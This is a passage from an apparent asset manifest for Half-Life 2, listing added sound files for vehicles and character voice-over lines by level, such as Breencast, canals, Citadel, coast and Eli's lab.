+vehicles/v8/v8_stop1.wav +vehicles/v8/v8_throttle_off_fast_loop1.wav +vehicles/v8/v8_throttle_off_slow_loop2.wav +vehicles/v8/v8_turbo_on_loop1.wav +vehicles/v8/vehicle_impact_heavy1.wav +vehicles/v8/vehicle_impact_heavy2.wav +vehicles/v8/vehicle_impact_heavy3.wav +vehicles/v8/vehicle_impact_heavy4.wav +vehicles/v8/vehicle_impact_medium1.wav +vehicles/v8/vehicle_impact_medium2.wav +vehicles/v8/vehicle_impact_medium3.wav +vehicles/v8/vehicle_impact_medium4.wav +vehicles/v8/vehicle_rollover1.wav +vehicles/v8/vehicle_rollover2.wav +vo/batch converters/distorto_radio.bcs +vo/batch converters/HL2_radio_voice.bcs +vo/batch converters/normalize_speech.bcs +vo/Breencast/br_collaboration01.wav +vo/Breencast/br_collaboration02.wav +vo/Breencast/br_collaboration03.wav +vo/Breencast/br_collaboration04.wav +vo/Breencast/br_collaboration05.wav +vo/Breencast/br_collaboration06.wav +vo/Breencast/br_collaboration07.wav +vo/Breencast/br_collaboration08.wav +vo/Breencast/br_collaboration09.wav +vo/Breencast/br_collaboration10.wav +vo/Breencast/br_collaboration11.wav +vo/Breencast/br_disruptor01.wav +vo/Breencast/br_disruptor02.wav +vo/Breencast/br_disruptor03.wav +vo/Breencast/br_disruptor04.wav +vo/Breencast/br_disruptor05.wav +vo/Breencast/br_disruptor06.wav +vo/Breencast/br_disruptor07.wav +vo/Breencast/br_disruptor08.wav +vo/Breencast/br_instinct01.wav +vo/Breencast/br_instinct02.wav +vo/Breencast/br_instinct03.wav +vo/Breencast/br_instinct04.wav +vo/Breencast/br_instinct05.wav +vo/Breencast/br_instinct06.wav +vo/Breencast/br_instinct07.wav +vo/Breencast/br_instinct08.wav +vo/Breencast/br_instinct09.wav +vo/Breencast/br_instinct10.wav +vo/Breencast/br_instinct11.wav +vo/Breencast/br_instinct12.wav +vo/Breencast/br_instinct13.wav +vo/Breencast/br_instinct14.wav +vo/Breencast/br_instinct15.wav +vo/Breencast/br_instinct16.wav +vo/Breencast/br_instinct17.wav +vo/Breencast/br_instinct18.wav +vo/Breencast/br_instinct19.wav +vo/Breencast/br_instinct20.wav +vo/Breencast/br_instinct21.wav +vo/Breencast/br_instinct22.wav +vo/Breencast/br_instinct23.wav +vo/Breencast/br_instinct24.wav +vo/Breencast/br_instinct25.wav +vo/Breencast/br_overwatch01.wav +vo/Breencast/br_overwatch02.wav +vo/Breencast/br_overwatch03.wav +vo/Breencast/br_overwatch04.wav +vo/Breencast/br_overwatch05.wav +vo/Breencast/br_overwatch06.wav +vo/Breencast/br_overwatch07.wav +vo/Breencast/br_overwatch08.wav +vo/Breencast/br_overwatch09.wav +vo/Breencast/br_tofreeman01.wav +vo/Breencast/br_tofreeman02.wav +vo/Breencast/br_tofreeman03.wav +vo/Breencast/br_tofreeman04.wav +vo/Breencast/br_tofreeman05.wav +vo/Breencast/br_tofreeman06.wav +vo/Breencast/br_tofreeman07.wav +vo/Breencast/br_tofreeman08.wav +vo/Breencast/br_tofreeman09.wav +vo/Breencast/br_tofreeman10.wav +vo/Breencast/br_tofreeman11.wav +vo/Breencast/br_tofreeman12.wav +vo/Breencast/br_welcome01.wav +vo/Breencast/br_welcome02.wav +vo/Breencast/br_welcome03.wav +vo/Breencast/br_welcome04.wav +vo/Breencast/br_welcome05.wav +vo/Breencast/br_welcome06.wav +vo/Breencast/br_welcome07.wav +vo/canals/airboat_drivehard.wav +vo/canals/airboat_gassed.wav +vo/canals/airboat_go_nag01.wav +vo/canals/airboat_go_nag02.wav +vo/canals/airboat_go_nag03.wav +vo/canals/airboat_nag01.wav +vo/canals/airboat_nag02.wav +vo/canals/airboat_nag03.wav +vo/canals/airboat_redbarn.wav +vo/canals/al_radio_stn6.wav +vo/canals/arrest_getgoing.wav +vo/canals/arrest_helpme.wav +vo/canals/arrest_lookingforyou.wav +vo/canals/arrest_run.wav +vo/canals/arrest_stop.wav +vo/canals/boxcar_becareful.wav +vo/canals/boxcar_becareful_b.wav +vo/canals/boxcar_becareful_c.wav +vo/canals/boxcar_go_nag01.wav +vo/canals/boxcar_go_nag02.wav +vo/canals/boxcar_go_nag03.wav +vo/canals/boxcar_go_nag04.wav +vo/canals/boxcar_jolt.wav +vo/canals/boxcar_lethimhelp.wav +vo/canals/boxcar_lookout.wav +vo/canals/boxcar_lookout_b.wav +vo/canals/boxcar_lookout_d.wav +vo/canals/boxcar_sirens.wav +vo/canals/boxcar_sirens_b.wav +vo/canals/boxcar_sirens_c.wav +vo/canals/boxcar_vortstop.wav +vo/canals/gunboat_comein.wav +vo/canals/gunboat_dam.wav +vo/canals/gunboat_finishingup.wav +vo/canals/gunboat_getin.wav +vo/canals/gunboat_goonout.wav +vo/canals/gunboat_herelook.wav +vo/canals/gunboat_heyyourefm.wav +vo/canals/gunboat_hideout.wav +vo/canals/gunboat_impossible.wav +vo/canals/gunboat_irony.wav +vo/canals/gunboat_magic.wav +vo/canals/gunboat_takeitdown.wav +vo/canals/gunboat_vort.wav +vo/canals/matt_beglad.wav +vo/canals/matt_beglad_b.wav +vo/canals/matt_beglad_c.wav +vo/canals/matt_closecall.wav +vo/canals/matt_flood.wav +vo/canals/matt_flood_b.wav +vo/canals/matt_getin.wav +vo/canals/matt_goodluck.wav +vo/canals/matt_go_nag01.wav +vo/canals/matt_go_nag02.wav +vo/canals/matt_go_nag03.wav +vo/canals/matt_go_nag04.wav +vo/canals/matt_go_nag05.wav +vo/canals/matt_supplies.wav +vo/canals/matt_tearinguprr.wav +vo/canals/matt_tearinguprr_a.wav +vo/canals/matt_tearinguprr_b.wav +vo/canals/matt_thanksbut.wav +vo/canals/matt_toolate.wav +vo/canals/premassacre.wav +vo/canals/radio_comein12.wav +vo/canals/radio_doyoucopy8.wav +vo/canals/radio_thisis8.wav +vo/canals/shanty_badtime.wav +vo/canals/shanty_gotsomeammo.wav +vo/canals/shanty_gotword.wav +vo/canals/shanty_go_nag01.wav +vo/canals/shanty_go_nag02.wav +vo/canals/shanty_go_nag03.wav +vo/canals/shanty_helpyourself.wav +vo/canals/shanty_hey.wav +vo/canals/shanty_yourefm.wav +vo/canals/stn1_cit_illstay.wav +vo/canals/stn1_cit_keepgoing.wav +vo/canals/vort_reckoning.wav +vo/canals/female01/gunboat_breakcamp.wav +vo/canals/female01/gunboat_eliright.wav +vo/canals/female01/gunboat_farewell.wav +vo/canals/female01/gunboat_giveemhell.wav +vo/canals/female01/gunboat_hurry.wav +vo/canals/female01/gunboat_justintime.wav +vo/canals/female01/gunboat_moveon.wav +vo/canals/female01/gunboat_owneyes.wav +vo/canals/female01/gunboat_parkboat.wav +vo/canals/female01/gunboat_pullout.wav +vo/canals/female01/stn6_go_nag02.wav +vo/canals/female01/stn6_incoming.wav +vo/canals/female01/stn6_shellingus.wav +vo/canals/male01/gunboat_breakcamp.wav +vo/canals/male01/gunboat_eliright.wav +vo/canals/male01/gunboat_farewell.wav +vo/canals/male01/gunboat_giveemhell.wav +vo/canals/male01/gunboat_hurry.wav +vo/canals/male01/gunboat_justintime.wav +vo/canals/male01/gunboat_moveon.wav +vo/canals/male01/gunboat_owneyes.wav +vo/canals/male01/gunboat_parkboat.wav +vo/canals/male01/gunboat_pullout.wav +vo/canals/male01/stn6_go_nag02.wav +vo/canals/male01/stn6_incoming.wav +vo/canals/male01/stn6_shellingus.wav +vo/Citadel/al_ascent.wav +vo/Citadel/al_beforeescape.wav +vo/Citadel/al_betterhurry.wav +vo/Citadel/al_bitofit.wav +vo/Citadel/al_bluff.wav +vo/Citadel/al_cantshutdown.wav +vo/Citadel/al_chancelikethis.wav +vo/Citadel/al_chargeup.wav +vo/Citadel/al_comegordon.wav +vo/Citadel/al_comeon.wav +vo/Citadel/al_comingafterme.wav +vo/Citadel/al_dad.wav +vo/Citadel/al_dadgordonno.wav +vo/Citadel/al_dadgordonno_b.wav +vo/Citadel/al_dadgordonno_c.wav +vo/Citadel/al_dadhangon.wav +vo/Citadel/al_dadsorry.wav +vo/Citadel/al_darkfusionreactor.wav +vo/Citadel/al_dienow.wav +vo/Citadel/al_dienow_b.wav +vo/Citadel/al_dontforget.wav +vo/Citadel/al_dontlisten.wav +vo/Citadel/al_dontlistentohim.wav +vo/Citadel/al_doworst.wav +vo/Citadel/al_elevator.wav +vo/Citadel/al_fail_no.wav +vo/Citadel/al_gettingaway.wav +vo/Citadel/al_gogordon.wav +vo/Citadel/al_gordonwouldnever.wav +vo/Citadel/al_heylisten.wav +vo/Citadel/al_hurrymossman02.wav +vo/Citadel/al_itsbreen.wav +vo/Citadel/al_keepgoing.wav +vo/Citadel/al_letyouin.wav +vo/Citadel/al_lookafterdad.wav +vo/Citadel/al_lookafterdad_b.wav +vo/Citadel/al_lookafterdad_c.wav +vo/Citadel/al_lookwhatheleft.wav +vo/Citadel/al_noclue.wav +vo/Citadel/al_notagain02.wav +vo/Citadel/al_notsayinggoodbye.wav +vo/Citadel/al_outofhere.wav +vo/Citadel/al_soldiers01_a.wav +vo/Citadel/al_soldiers01_b.wav +vo/Citadel/al_stayawaycore.wav +vo/Citadel/al_staybackbeam.wav +vo/Citadel/al_struggle01.wav +vo/Citadel/al_struggle02.wav +vo/Citadel/al_struggle03.wav +vo/Citadel/al_struggle05.wav +vo/Citadel/al_struggle07.wav +vo/Citadel/al_struggle08.wav +vo/Citadel/al_success_yes.wav +vo/Citadel/al_success_yes02_nr.wav +vo/Citadel/al_success_yes_nr.wav +vo/Citadel/al_thatshim.wav +vo/Citadel/al_thegravgun01.wav +vo/Citadel/al_thegravgun03.wav +vo/Citadel/al_thegravgun04.wav +vo/Citadel/al_thereheis.wav +vo/Citadel/al_uptop.wav +vo/Citadel/al_watchout01.wav +vo/Citadel/al_wonderwhere.wav +vo/Citadel/al_working.wav +vo/Citadel/al_yes.wav +vo/Citadel/al_yes_nr.wav +vo/Citadel/br_betrayed.wav +vo/Citadel/br_bidder_a.wav +vo/Citadel/br_bidder_b.wav +vo/Citadel/br_circum.wav +vo/Citadel/br_create.wav +vo/Citadel/br_deliver.wav +vo/Citadel/br_dictate_a.wav +vo/Citadel/br_failing11.wav +vo/Citadel/br_farside.wav +vo/Citadel/br_foundation.wav +vo/Citadel/br_freemanatlast.wav +vo/Citadel/br_gift_a.wav +vo/Citadel/br_gift_b.wav +vo/Citadel/br_gift_c.wav +vo/Citadel/br_goback.wav +vo/Citadel/br_gravgun.wav +vo/Citadel/br_guards.wav +vo/Citadel/br_guest_a.wav +vo/Citadel/br_guest_b.wav +vo/Citadel/br_guest_c.wav +vo/Citadel/br_guest_d.wav +vo/Citadel/br_guest_f.wav +vo/Citadel/br_hostbody.wav +vo/Citadel/br_judithwhat.wav +vo/Citadel/br_justhurry.wav +vo/Citadel/br_laugh01.wav +vo/Citadel/br_mentors.wav +vo/Citadel/br_mock01.wav +vo/Citadel/br_mock04.wav +vo/Citadel/br_mock05.wav +vo/Citadel/br_mock06.wav +vo/Citadel/br_mock07.wav +vo/Citadel/br_mock09.wav +vo/Citadel/br_mock13.wav +vo/Citadel/br_newleader_a.wav +vo/Citadel/br_newleader_b.wav +vo/Citadel/br_newleader_c.wav +vo/Citadel/br_no.wav +vo/Citadel/br_nopoint.wav +vo/Citadel/br_nothingtosay_a.wav +vo/Citadel/br_nothingtosay_b.wav +vo/Citadel/br_oheli07.wav +vo/Citadel/br_oheli08.wav +vo/Citadel/br_oheli09.wav +vo/Citadel/br_ohshit.wav +vo/Citadel/br_playgame_a.wav +vo/Citadel/br_playgame_b.wav +vo/Citadel/br_playgame_c.wav +vo/Citadel/br_rabble_a.wav +vo/Citadel/br_rabble_b.wav +vo/Citadel/br_rabble_c.wav +vo/Citadel/br_rabble_d.wav +vo/Citadel/br_stubborn.wav +vo/Citadel/br_synapse.wav +vo/Citadel/br_synapse02.wav +vo/Citadel/br_unleash.wav +vo/Citadel/br_untenable.wav +vo/Citadel/br_whatittakes.wav +vo/Citadel/br_worthit.wav +vo/Citadel/br_yesjudith.wav +vo/Citadel/br_youfool.wav +vo/Citadel/br_youneedme.wav +vo/Citadel/eli_alyx01.wav +vo/Citadel/eli_alyxsweetheart.wav +vo/Citadel/eli_damnbreen.wav +vo/Citadel/eli_dontstruggle.wav +vo/Citadel/eli_dontworryboutme.wav +vo/Citadel/eli_genocide.wav +vo/Citadel/eli_goodgod.wav +vo/Citadel/eli_mygirl.wav +vo/Citadel/eli_nonever.wav +vo/Citadel/eli_notobreen.wav +vo/Citadel/eli_save.wav +vo/Citadel/eli_sendusboth.wav +vo/Citadel/gman_exit01.wav +vo/Citadel/gman_exit02.wav +vo/Citadel/gman_exit03.wav +vo/Citadel/gman_exit04.wav +vo/Citadel/gman_exit05.wav +vo/Citadel/gman_exit06.wav +vo/Citadel/gman_exit07.wav +vo/Citadel/gman_exit08.wav +vo/Citadel/gman_exit09.wav +vo/Citadel/gman_exit10.wav +vo/Citadel/mo_alyxneedthis.wav +vo/Citadel/mo_bargain.wav +vo/Citadel/mo_dont.wav +vo/Citadel/mo_dontworry.wav +vo/Citadel/mo_illtakehim.wav +vo/Citadel/mo_necessary.wav +vo/Citadel/mo_notimealyx.wav +vo/Citadel/mo_notleavingeli.wav +vo/Citadel/mo_nouse.wav +vo/Citadel/mo_outoftime.wav +vo/Citadel/mo_sorrygordon.wav +vo/Citadel/mo_stoppingyou.wav +vo/Citadel/mo_wallace.wav +vo/coast/cr_antlions.wav +vo/coast/cr_carsallready.wav +vo/coast/cr_driveforfeel.wav +vo/coast/cr_getincar.wav +vo/coast/cr_getupandhellout.wav +vo/coast/cr_gravgun.wav +vo/coast/cr_hopin.wav +vo/coast/cr_magfail.wav +vo/coast/cr_pier01.wav +vo/coast/cr_pier02.wav +vo/coast/cr_pier03.wav +vo/coast/cr_playerincar.wav +vo/coast/cr_rockslide.wav +vo/coast/cr_sorry.wav +vo/coast/vgossip_01.wav +vo/coast/vgossip_02.wav +vo/coast/vgossip_03.wav +vo/coast/vgossip_04.wav +vo/coast/barn/lighthouse_morale.wav +vo/coast/barn/vmech_accept.wav +vo/coast/barn/female01/chatter.wav +vo/coast/barn/female01/crapships.wav +vo/coast/barn/female01/ditchcar.wav +vo/coast/barn/female01/drop_lite.wav +vo/coast/barn/female01/drop_road.wav +vo/coast/barn/female01/exit_cliffpath.wav +vo/coast/barn/female01/exit_comewith.wav +vo/coast/barn/female01/exit_watchstep.wav +vo/coast/barn/female01/getcarinbarn.wav +vo/coast/barn/female01/getcaringarage.wav +vo/coast/barn/female01/getoffroad01.wav +vo/coast/barn/female01/gettauoff.wav +vo/coast/barn/female01/incomingdropship.wav +vo/coast/barn/female01/lite_gunship01.wav +vo/coast/barn/female01/lite_gunship02.wav +vo/coast/barn/female01/lite_rockets01.wav +vo/coast/barn/female01/lite_rockets03.wav +vo/coast/barn/female01/lite_rockets04.wav +vo/coast/barn/female01/parkit.wav +vo/coast/barn/female01/youmadeit.wav +vo/coast/barn/male01/chatter.wav +vo/coast/barn/male01/crapships.wav +vo/coast/barn/male01/ditchcar.wav +vo/coast/barn/male01/drop_lite.wav +vo/coast/barn/male01/drop_road.wav +vo/coast/barn/male01/exit_cliffpath.wav +vo/coast/barn/male01/exit_comewith.wav +vo/coast/barn/male01/exit_watchstep.wav +vo/coast/barn/male01/getcarinbarn.wav +vo/coast/barn/male01/getcaringarage.wav +vo/coast/barn/male01/getoffroad01.wav +vo/coast/barn/male01/gettauoff.wav +vo/coast/barn/male01/incomingdropship.wav +vo/coast/barn/male01/lite_gunship01.wav +vo/coast/barn/male01/lite_gunship02.wav +vo/coast/barn/male01/lite_rockets01.wav +vo/coast/barn/male01/lite_rockets03.wav +vo/coast/barn/male01/lite_rockets04.wav +vo/coast/barn/male01/parkit.wav +vo/coast/barn/male01/youmadeit.wav +vo/coast/bugbait/bugbait_onemanalone.wav +vo/coast/bugbait/sandy_asyougo.wav +vo/coast/bugbait/sandy_dontmove.wav +vo/coast/bugbait/sandy_dontstep.wav +vo/coast/bugbait/sandy_goahead.wav +vo/coast/bugbait/sandy_help.wav +vo/coast/bugbait/sandy_holdstill.wav +vo/coast/bugbait/sandy_poorlaszlo.wav +vo/coast/bugbait/sandy_stop.wav +vo/coast/bugbait/sandy_vortcamp.wav +vo/coast/bugbait/sandy_youidiot.wav +vo/coast/bugbait/sandy_youthere.wav +vo/coast/bugbait/sandy_youtried.wav +vo/coast/bugbait/vbaittrain01a.wav +vo/coast/bugbait/vbaittrain01b.wav +vo/coast/bugbait/vbaittrain01c.wav +vo/coast/bugbait/vbaittrain02.wav +vo/coast/bugbait/vbaittrain02_nag.wav +vo/coast/bugbait/vbaittrain03.wav +vo/coast/bugbait/vbaittrain03_nag.wav +vo/coast/bugbait/vbaittrain04.wav +vo/coast/bugbait/vbaittrain04_nag.wav +vo/coast/bugbait/vbaittrain05.wav +vo/coast/bugbait/vbaittrain_fine.wav +vo/coast/bugbait/vbaittrain_gotit.wav +vo/coast/bugbait/vbaittrain_great.wav +vo/coast/bugbait/vort_extract01.wav +vo/coast/bugbait/vort_podnag.wav +vo/coast/bugbait/vort_podsforyou01.wav +vo/coast/bugbait/female01/pheropod_nag01.wav +vo/coast/bugbait/female01/pheropod_nag02.wav +vo/coast/bugbait/female01/pheropod_nag03.wav +vo/coast/bugbait/male01/pheropod_nag01.wav +vo/coast/bugbait/male01/pheropod_nag02.wav +vo/coast/bugbait/male01/pheropod_nag03.wav +vo/coast/cardock/al_goodhands.wav +vo/coast/cardock/al_gotcar.wav +vo/coast/cardock/al_hitcher01.wav +vo/coast/cardock/al_hitcher02.wav +vo/coast/cardock/al_needyourhelp.wav +vo/coast/cardock/cr_willdo.wav +vo/coast/cardock/le_allclear.wav +vo/coast/cardock/le_allset.wav +vo/coast/cardock/le_buggy.wav +vo/coast/cardock/le_bye.wav +vo/coast/cardock/le_followme.wav +vo/coast/cardock/le_goodidea.wav +vo/coast/cardock/le_gotgordon.wav +vo/coast/cardock/le_map.wav +vo/coast/cardock/le_onfoot.wav +vo/coast/cardock/le_overhere.wav +vo/coast/cardock/le_patchhim.wav +vo/coast/cardock/le_radio.wav +vo/coast/cardock/le_radioloop.wav +vo/coast/cardock/le_radioloop_b.wav +vo/coast/cardock/le_radioloop_c.wav +vo/coast/cardock/le_restock.wav +vo/coast/cardock/le_staywithcar.wav +vo/coast/cardock/le_whohurt.wav +vo/coast/cardock/le_youmadeit.wav +vo/coast/cardock/med_online.wav +vo/coast/cardock/wo_winston.wav +vo/coast/odessa/nlo_cub_carry.wav +vo/coast/odessa/nlo_cub_class01.wav +vo/coast/odessa/nlo_cub_class02.wav +vo/coast/odessa/nlo_cub_class03.wav +vo/coast/odessa/nlo_cub_corkscrew.wav +vo/coast/odessa/nlo_cub_farewell.wav +vo/coast/odessa/nlo_cub_freeman.wav +vo/coast/odessa/nlo_cub_hello.wav +vo/coast/odessa/nlo_cub_ledtobelieve.wav +vo/coast/odessa/nlo_cub_opengate.wav +vo/coast/odessa/nlo_cub_radio.wav +vo/coast/odessa/nlo_cub_roadahead.wav +vo/coast/odessa/nlo_cub_service.wav +vo/coast/odessa/nlo_cub_teachgunship.wav +vo/coast/odessa/nlo_cub_thatsthat.wav +vo/coast/odessa/nlo_cub_volunteer.wav +vo/coast/odessa/nlo_cub_warning.wav +vo/coast/odessa/nlo_cub_wherewasi.wav +vo/coast/odessa/nlo_cub_youllmakeit.wav +vo/coast/odessa/nlo_greet_freeman.wav +vo/coast/odessa/nlo_greet_intro.wav +vo/coast/odessa/nlo_greet_nag01.wav +vo/coast/odessa/nlo_greet_nag02.wav +vo/coast/odessa/nlo_vort_exit.wav +vo/coast/odessa/female01/nlo_cheer01.wav +vo/coast/odessa/female01/nlo_cheer02.wav +vo/coast/odessa/female01/nlo_cheer03.wav +vo/coast/odessa/female01/nlo_citizen_bringcar.wav +vo/coast/odessa/female01/nlo_citizen_drivesafe.wav +vo/coast/odessa/female01/nlo_citizen_greet01.wav +vo/coast/odessa/female01/nlo_citizen_greet02.wav +vo/coast/odessa/female01/nlo_citizen_greet03.wav +vo/coast/odessa/female01/nlo_citizen_greet04.wav +vo/coast/odessa/female01/nlo_citizen_post01.wav +vo/coast/odessa/female01/nlo_citizen_post02.wav +vo/coast/odessa/female01/nlo_citizen_post03.wav +vo/coast/odessa/female01/nlo_cubdeath01.wav +vo/coast/odessa/female01/nlo_cubdeath02.wav +vo/coast/odessa/female01/nlo_getyourjeep.wav +vo/coast/odessa/female01/nlo_opengate.wav +vo/coast/odessa/female01/nlo_yourcarsir.wav +vo/coast/odessa/female01/stairman_follow01.wav +vo/coast/odessa/female01/stairman_follow03.wav +vo/coast/odessa/male01/nlo_cheer01.wav +vo/coast/odessa/male01/nlo_cheer02.wav +vo/coast/odessa/male01/nlo_cheer03.wav +vo/coast/odessa/male01/nlo_cheer04.wav +vo/coast/odessa/male01/nlo_citizen_bringcar.wav +vo/coast/odessa/male01/nlo_citizen_drivesafe.wav +vo/coast/odessa/male01/nlo_citizen_greet01.wav +vo/coast/odessa/male01/nlo_citizen_greet02.wav +vo/coast/odessa/male01/nlo_citizen_greet03.wav +vo/coast/odessa/male01/nlo_citizen_greet04.wav +vo/coast/odessa/male01/nlo_citizen_post01.wav +vo/coast/odessa/male01/nlo_citizen_post02.wav +vo/coast/odessa/male01/nlo_citizen_post03.wav +vo/coast/odessa/male01/nlo_cubdeath01.wav +vo/coast/odessa/male01/nlo_cubdeath02.wav +vo/coast/odessa/male01/nlo_getyourjeep.wav +vo/coast/odessa/male01/nlo_opengate.wav +vo/coast/odessa/male01/nlo_yourcarsir.wav +vo/coast/odessa/male01/stairman_follow01.wav +vo/coast/odessa/male01/stairman_follow03.wav +vo/eli_lab/airlock_cit01.wav +vo/eli_lab/airlock_cit02.wav +vo/eli_lab/airlock_cit03.wav +vo/eli_lab/al_allright01.wav +vo/eli_lab/al_anotherdog.wav +vo/eli_lab/al_autocycle.wav +vo/eli_lab/al_awesome.wav +vo/eli_lab/al_blamingme.wav +vo/eli_lab/al_buildastack.wav +vo/eli_lab/al_cavedin_b.wav +vo/eli_lab/al_cavedin_c.wav +vo/eli_lab/al_cmongord01.wav +vo/eli_lab/al_cmongord02.wav +vo/eli_lab/al_comeongord01.wav +vo/eli_lab/al_comeongord02.wav +vo/eli_lab/al_dadplease.wav +vo/eli_lab/al_dadwhatsup.wav +vo/eli_lab/al_dad_ques01.wav +vo/eli_lab/al_dad_scared01.wav +vo/eli_lab/al_dad_scared02.wav +vo/eli_lab/al_dogairlock01.wav +vo/eli_lab/al_dogairlock02.wav +vo/eli_lab/al_dogcome.wav +vo/eli_lab/al_doyouread.wav +vo/eli_lab/al_earnedit01.wav +vo/eli_lab/al_excellent01.wav +vo/eli_lab/al_getitopen01.wav +vo/eli_lab/al_getitopen02.wav +vo/eli_lab/al_getyourball.wav +vo/eli_lab/al_giveittry.wav +vo/eli_lab/al_goaheaddog.wav +vo/eli_lab/al_goodcatch.wav +vo/eli_lab/al_gooddoggie.wav +vo/eli_lab/al_goodthrow.wav +vo/eli_lab/al_grabthrow.wav +vo/eli_lab/al_gravdrop.wav +vo/eli_lab/al_gravgun.wav +vo/eli_lab/al_havefun.wav +vo/eli_lab/al_hazmat.wav +vo/eli_lab/al_hereyougo02.wav +vo/eli_lab/al_heshere.wav +vo/eli_lab/al_hums.wav +vo/eli_lab/al_hums_b.wav +vo/eli_lab/al_intoairlock01.wav +vo/eli_lab/al_intoairlock02.wav +vo/eli_lab/al_intoairlock03.wav +vo/eli_lab/al_intoairlock04.wav +vo/eli_lab/al_intoairlock05.wav +vo/eli_lab/al_laugh01.wav +vo/eli_lab/al_laugh02.wav +vo/eli_lab/al_letmedo.wav +vo/eli_lab/al_liketofetch.wav +vo/eli_lab/al_metmossman01.wav +vo/eli_lab/al_metmossman03.wav +vo/eli_lab/al_metmossman04.wav +vo/eli_lab/al_minefield.wav +vo/eli_lab/al_nicecatch01.wav +vo/eli_lab/al_niceshot.wav +vo/eli_lab/al_noboydown.wav +vo/eli_lab/al_nodog.wav +vo/eli_lab/al_nowcalldog.wav +vo/eli_lab/al_okletsplay.wav +vo/eli_lab/al_pickuptoss.wav +vo/eli_lab/al_placeobjs.wav +vo/eli_lab/al_primary.wav +vo/eli_lab/al_pullfromdistance.wav +vo/eli_lab/al_pullfromdistance_b.wav +vo/eli_lab/al_ravenholm01.wav +vo/eli_lab/al_ravenholm02.wav +vo/eli_lab/al_ravenholm02b.wav +vo/eli_lab/al_ravenholm06.wav +vo/eli_lab/al_scanners01.wav +vo/eli_lab/al_scanners02.wav +vo/eli_lab/al_scanners03.wav +vo/eli_lab/al_scanners06.wav +vo/eli_lab/al_scanners07.wav +vo/eli_lab/al_scrapyard.wav +vo/eli_lab/al_seeifyoucanstack.wav +vo/eli_lab/al_somethingbigger.wav +vo/eli_lab/al_somethingelse.wav +vo/eli_lab/al_soquickly01.wav +vo/eli_lab/al_soquickly02.wav +vo/eli_lab/al_soquickly03.wav +vo/eli_lab/al_standbackdog.wav +vo/eli_lab/al_sweet.wav +vo/eli_lab/al_takegord02.wav +vo/eli_lab/al_takeit.wav +vo/eli_lab/al_takethis.wav +vo/eli_lab/al_thisisdog01.wav +vo/eli_lab/al_thisisgravgun.wav +vo/eli_lab/al_throwanotherdog.wav +vo/eli_lab/al_throwitdog.wav +vo/eli_lab/al_throwtodog.wav +vo/eli_lab/al_thyristor02.wav +vo/eli_lab/al_trystacking.wav +vo/eli_lab/al_ugh.wav +vo/eli_lab/al_usegravgun.wav +vo/eli_lab/al_wasted01.wav +vo/eli_lab/al_wasted02.wav +vo/eli_lab/al_wheresball.wav +vo/eli_lab/al_yayhigh.wav +vo/eli_lab/eli_alyxhoney.wav +vo/eli_lab/eli_broke.wav +vo/eli_lab/eli_finesci.wav +vo/eli_lab/eli_goodvort.wav +vo/eli_lab/eli_gordonwith.wav +vo/eli_lab/eli_gowithalyx01.wav +vo/eli_lab/eli_gowithalyx02.wav +vo/eli_lab/eli_gowithalyx03.wav +vo/eli_lab/eli_greeting.wav +vo/eli_lab/eli_handle.wav +vo/eli_lab/eli_handle_b.wav +vo/eli_lab/eli_ladies.wav +vo/eli_lab/eli_littlewhile.wav +vo/eli_lab/eli_lookaround.wav +vo/eli_lab/eli_lookgordon.wav +vo/eli_lab/eli_mit.wav +vo/eli_lab/eli_photo01.wav +vo/eli_lab/eli_photo02.wav +vo/eli_lab/eli_portal01.wav +vo/eli_lab/eli_portal02.wav +vo/eli_lab/eli_safety.wav +vo/eli_lab/eli_staytogether01.wav +vo/eli_lab/eli_staytogether02.wav +vo/eli_lab/eli_surface.wav +vo/eli_lab/eli_surface_b.wav +vo/eli_lab/eli_thing.wav +vo/eli_lab/eli_vilebiz01.wav +vo/eli_lab/eli_vilebiz02.wav +vo/eli_lab/eli_vilebiz03.wav +vo/eli_lab/eli_vilebiz04.wav +vo/eli_lab/eli_wantyou.wav +vo/eli_lab/eli_welcometolab.wav +vo/eli_lab/mo_airlock01.wav +vo/eli_lab/mo_airlock02.wav +vo/eli_lab/mo_airlock03.wav +vo/eli_lab/mo_airlock04.wav +vo/eli_lab/mo_airlock05.wav +vo/eli_lab/mo_airlock06.wav +vo/eli_lab/mo_airlock07.wav +vo/eli_lab/mo_airlock08.wav +vo/eli_lab/mo_airlock09.wav +vo/eli_lab/mo_airlock10.wav +vo/eli_lab/mo_airlock11.wav +vo/eli_lab/mo_airlock12.wav +vo/eli_lab/mo_airlock13.wav +vo/eli_lab/mo_airlock14.wav +vo/eli_lab/mo_alyxonwatch.wav +vo/eli_lab/mo_anyway04.wav +vo/eli_lab/mo_badcapacitor01.wav +vo/eli_lab/mo_badcapacitor02.wav +vo/eli_lab/mo_deliberately.wav +vo/eli_lab/mo_difference.wav +vo/eli_lab/mo_digup01.wav +vo/eli_lab/mo_extrahelp01.wav +vo/eli_lab/mo_extrahelp02.wav +vo/eli_lab/mo_extrahelp03.wav +vo/eli_lab/mo_extrahelp04.wav +vo/eli_lab/mo_extrahelp05.wav +vo/eli_lab/mo_extrahelp06.wav +vo/eli_lab/mo_extrahelp07.wav +vo/eli_lab/mo_extrahelp08.wav +vo/eli_lab/mo_gotoeli01.wav +vo/eli_lab/mo_gotoeli02.wav +vo/eli_lab/mo_gotoeli03.wav +vo/eli_lab/mo_gotoeli04.wav +vo/eli_lab/mo_gowithalyx01.wav +vo/eli_lab/mo_gowithalyx02.wav +vo/eli_lab/mo_hereseli01.wav +vo/eli_lab/mo_hereseli02.wav +vo/eli_lab/mo_hurryup01.wav +vo/eli_lab/mo_lookwho01.wav +vo/eli_lab/mo_noblame.wav +vo/eli_lab/mo_notatoy.wav +vo/eli_lab/mo_postdoc01.wav +vo/eli_lab/mo_postdoc02.wav +vo/eli_lab/mo_realhonor02.wav +vo/eli_lab/mo_relay01.wav +vo/eli_lab/mo_relay02.wav +vo/eli_lab/mo_relay03.wav +vo/eli_lab/mo_taketoeli.wav +vo/eli_lab/mo_thiswaydoc.wav +vo/eli_lab/vort_elab_use01.wav +vo/eli_lab/vort_elab_use02.wav +vo/eli_lab/vort_elab_use03.wav +vo/eli_lab/vort_elab_use04.wav +vo/eli_lab/vort_elab_use05.wav +vo/gman_misc/gman_02.wav +vo/gman_misc/gman_03.wav +vo/gman_misc/gman_04.wav +vo/gman_misc/gman_riseshine.wav +vo/k_lab/al_aboutthecat.wav +vo/k_lab/al_allrightdoc.wav +vo/k_lab/al_animalperson.wav +vo/k_lab/al_buyyoudrink01.wav +vo/k_lab/al_buyyoudrink02.wav +vo/k_lab/al_buyyoudrink03.wav +vo/k_lab/al_careful.wav +vo/k_lab/al_careful02.wav +vo/k_lab/al_carefulthere.wav +vo/k_lab/al_cmonfreeman.wav 